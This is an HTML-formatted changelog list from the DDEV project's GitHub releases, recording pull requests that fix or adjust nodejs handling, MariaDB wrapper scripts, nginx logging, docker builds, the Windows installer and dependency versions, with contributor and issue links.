<li>fix(dbserver): use wrapper scripts for MariaDB 11.x+ MySQL compat, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2760145770" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6861" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6861/hovercard" href="https://github.com/ddev/ddev/issues/6861">#6861</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614529441" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8456" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8456/hovercard" href="https://github.com/ddev/ddev/pull/8456">#8456</a></li>
<li>test(buildkite): Fix brew upgrade to use -y for new 6.0.0 release, fix setup-homebrew by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642259004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8469" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8469/hovercard" href="https://github.com/ddev/ddev/pull/8469">#8469</a></li>
<li>build(gnupg): Remove references to obsolete gnupg2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656275880" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8475" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8475/hovercard" href="https://github.com/ddev/ddev/pull/8475">#8475</a></li>
<li>fix: recreate service on <code>ddev utility rebuild -s</code>, support profile services by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630837333" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8463" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8463/hovercard" href="https://github.com/ddev/ddev/pull/8463">#8463</a></li>
<li>fix(nodejs): preserve nodejs_version in config.yaml, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4002111935" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8186" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8186/hovercard" href="https://github.com/ddev/ddev/issues/8186">#8186</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624943154" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8462" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8462/hovercard" href="https://github.com/ddev/ddev/pull/8462">#8462</a></li>
<li>fix(nodejs): move N_PREFIX to /usr/local/n and make it writable, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632809900" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8465" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8465/hovercard" href="https://github.com/ddev/ddev/issues/8465">#8465</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4635081802" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8467" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8467/hovercard" href="https://github.com/ddev/ddev/pull/8467">#8467</a></li>
<li>fix(nginx): suppress favicon.ico and robots.txt 404 logs, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2869143534" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7010" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7010/hovercard" href="https://github.com/ddev/ddev/issues/7010">#7010</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624409272" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8461" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8461/hovercard" href="https://github.com/ddev/ddev/pull/8461">#8461</a></li>
<li>fix(ssh): use RawCmd to avoid double-sourcing bashrc, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1835843764" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/5232" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/5232/hovercard" href="https://github.com/ddev/ddev/issues/5232">#5232</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624030279" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8460" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8460/hovercard" href="https://github.com/ddev/ddev/pull/8460">#8460</a></li>
<li>docs: install util-linux-extra in Docker setup, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332343177" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8350" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8350/hovercard" href="https://github.com/ddev/ddev/issues/8350">#8350</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666141620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8480" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8480/hovercard" href="https://github.com/ddev/ddev/pull/8480">#8480</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666141620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8480" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8480/hovercard" href="https://github.com/ddev/ddev/pull/8480">#8480</a></li>
<li>feat: improve ddev list/describe table layout, add OSC 8 terminal hyperlinks, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1991790083" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/5535" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/5535/hovercard" href="https://github.com/ddev/ddev/issues/5535">#5535</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2249382464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6113" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6113/hovercard" href="https://github.com/ddev/ddev/issues/6113">#6113</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653278220" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8474" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8474/hovercard" href="https://github.com/ddev/ddev/pull/8474">#8474</a>)  [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653278220" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8474" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8474/hovercard" href="https://github.com/ddev/ddev/pull/8474">#8474</a></li>
<li>fix: skip OS-generated metadata files in custom-config detection and .ddev/.gitignore, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475692720" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8418" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8418/hovercard" href="https://github.com/ddev/ddev/issues/8418">#8418</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665439123" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8478" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8478/hovercard" href="https://github.com/ddev/ddev/pull/8478">#8478</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665439123" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8478" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8478/hovercard" href="https://github.com/ddev/ddev/pull/8478">#8478</a></li>
<li>fix(mutagen): detect missing docker CLI early, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614824791" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8457" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8457/hovercard" href="https://github.com/ddev/ddev/issues/8457">#8457</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665774207" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8479" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8479/hovercard" href="https://github.com/ddev/ddev/pull/8479">#8479</a></li>
<li>docs(docker): add troubleshooting for permission denied, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4645427389" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8471" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8471/hovercard" href="https://github.com/ddev/ddev/issues/8471">#8471</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675675317" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8483" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8483/hovercard" href="https://github.com/ddev/ddev/pull/8483">#8483</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675675317" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8483" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8483/hovercard" href="https://github.com/ddev/ddev/pull/8483">#8483</a></li>
<li>test(quickstart): update shopware6 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675529151" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8482" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8482/hovercard" href="https://github.com/ddev/ddev/pull/8482">#8482</a></li>
<li>fix: warn when CAROOT is set but CA files are inaccessible, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677876085" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8485" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8485/hovercard" href="https://github.com/ddev/ddev/issues/8485">#8485</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678327612" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8486" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8486/hovercard" href="https://github.com/ddev/ddev/pull/8486">#8486</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678327612" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8486" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8486/hovercard" href="https://github.com/ddev/ddev/pull/8486">#8486</a></li>
<li>fix(tui): prevent docker/cli stdin from consuming TUI shortcuts, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562065445" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8440" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8440/hovercard" href="https://github.com/ddev/ddev/issues/8440">#8440</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685382113" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8489" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8489/hovercard" href="https://github.com/ddev/ddev/pull/8489">#8489</a></li>
<li>fix: add /usr/local/n/bin to sudo secure_path, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685293783" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8488" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8488/hovercard" href="https://github.com/ddev/ddev/issues/8488">#8488</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685872989" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8490" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8490/hovercard" href="https://github.com/ddev/ddev/pull/8490">#8490</a></li>
<li>fix(start): show warnings from log-stderr.sh on start, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563471219" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8441" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8441/hovercard" href="https://github.com/ddev/ddev/issues/8441">#8441</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675066040" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8481" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8481/hovercard" href="https://github.com/ddev/ddev/pull/8481">#8481</a></li>
<li>build(deps): bump go dependencies, migrate to go-github v88 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694258253" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8492" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8492/hovercard" href="https://github.com/ddev/ddev/pull/8492">#8492</a></li>
<li>test(quickstart): pin <code>@sveltejs/adapter-node@5.5.4</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701858950" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8497" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8497/hovercard" href="https://github.com/ddev/ddev/pull/8497">#8497</a></li>
<li>test(docs): Ignore link check URLs [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702819191" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8499" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8499/hovercard" href="https://github.com/ddev/ddev/pull/8499">#8499</a></li>
<li>build: bump actions/checkout from 6 to 7 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718149342" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8504" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8504/hovercard" href="https://github.com/ddev/ddev/pull/8504">#8504</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718149342" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8504" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8504/hovercard" href="https://github.com/ddev/ddev/pull/8504">#8504</a></li>
<li>fix: restrict XDG_CONFIG_HOME to Linux, add DDEV_XDG_CONFIG_HOME for cross-platform overrides, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694586960" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8493" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8493/hovercard" href="https://github.com/ddev/ddev/issues/8493">#8493</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694816575" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8494" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8494/hovercard" href="https://github.com/ddev/ddev/pull/8494">#8494</a></li>
<li>fix(webserver): prevent recursion in global web command wrappers, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2790468327" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6902" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/6902/hovercard" href="https://github.com/ddev/ddev/pull/6902">#6902</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701412145" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8495" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8495/hovercard" href="https://github.com/ddev/ddev/pull/8495">#8495</a></li>
<li>fix(nodejs): always install gulp-cli and yarn, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701417432" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8496" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8496/hovercard" href="https://github.com/ddev/ddev/issues/8496">#8496</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702408419" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8498" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8498/hovercard" href="https://github.com/ddev/ddev/pull/8498">#8498</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702408419" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8498" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8498/hovercard" href="https://github.com/ddev/ddev/pull/8498">#8498</a></li>
<li>feat(windows): support Debian and Kali WSL2 distros in GUI installer, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559357943" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8439" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8439/hovercard" href="https://github.com/ddev/ddev/issues/8439">#8439</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4641003281" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8468" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8468/hovercard" href="https://github.com/ddev/ddev/issues/8468">#8468</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632394063" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8464" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8464/hovercard" href="https://github.com/ddev/ddev/pull/8464">#8464</a></li>
<li>build: Fix gomt error that crept in [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721491247" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8509" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8509/hovercard" href="https://github.com/ddev/ddev/pull/8509">#8509</a></li>
<li>test: Add script to compare start time performance [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721622618" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8510" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8510/hovercard" href="https://github.com/ddev/ddev/pull/8510">#8510</a></li>
<li>test(quickstart): remove pin for <code>@sveltejs/adapter-node</code>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701858950" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8497" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8497/hovercard" href="https://github.com/ddev/ddev/pull/8497">#8497</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723621004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8511" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8511/hovercard" href="https://github.com/ddev/ddev/pull/8511">#8511</a></li>
<li>ci(github): add brew sandbox setup, remove obsolete env, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642259004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8469" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8469/hovercard" href="https://github.com/ddev/ddev/pull/8469">#8469</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724822655" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8512" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8512/hovercard" href="https://github.com/ddev/ddev/pull/8512">#8512</a></li>
<li>fix(mysql): guard ENV HOME injection to db context only, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721459214" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8508" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8508/hovercard" href="https://github.com/ddev/ddev/issues/8508">#8508</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4725527190" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8513" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8513/hovercard" href="https://github.com/ddev/ddev/pull/8513">#8513</a></li>
<li>fix(docker): do not cache build on start, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549207054" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8433" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8433/hovercard" href="https://github.com/ddev/ddev/issues/8433">#8433</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718896990" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8506" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8506/hovercard" href="https://github.com/ddev/ddev/pull/8506">#8506</a></li>
<li>feat(drupal): Support new dr command built into drupal11.4+, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710077190" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8500" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8500/hovercard" href="https://github.com/ddev/ddev/issues/8500">#8500</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720878653" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8507" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8507/hovercard" href="https://github.com/ddev/ddev/pull/8507">#8507</a></li>
<li>fix(dbeaver): Add flatpak user binary path to search list, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727881183" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8517" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8517/hovercard" href="https://github.com/ddev/ddev/issues/8517">#8517</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nickchomey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nickchomey">@nickchomey</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727903372" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8518" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8518/hovercard" href="https://github.com/ddev/ddev/pull/8518">#8518</a></li>
<li>refactor(auth-ssh): remove build step, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711855724" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8501" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8501/hovercard" href="https://github.com/ddev/ddev/issues/8501">#8501</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716695362" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8503" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8503/hovercard" href="https://github.com/ddev/ddev/pull/8503">#8503</a></li>
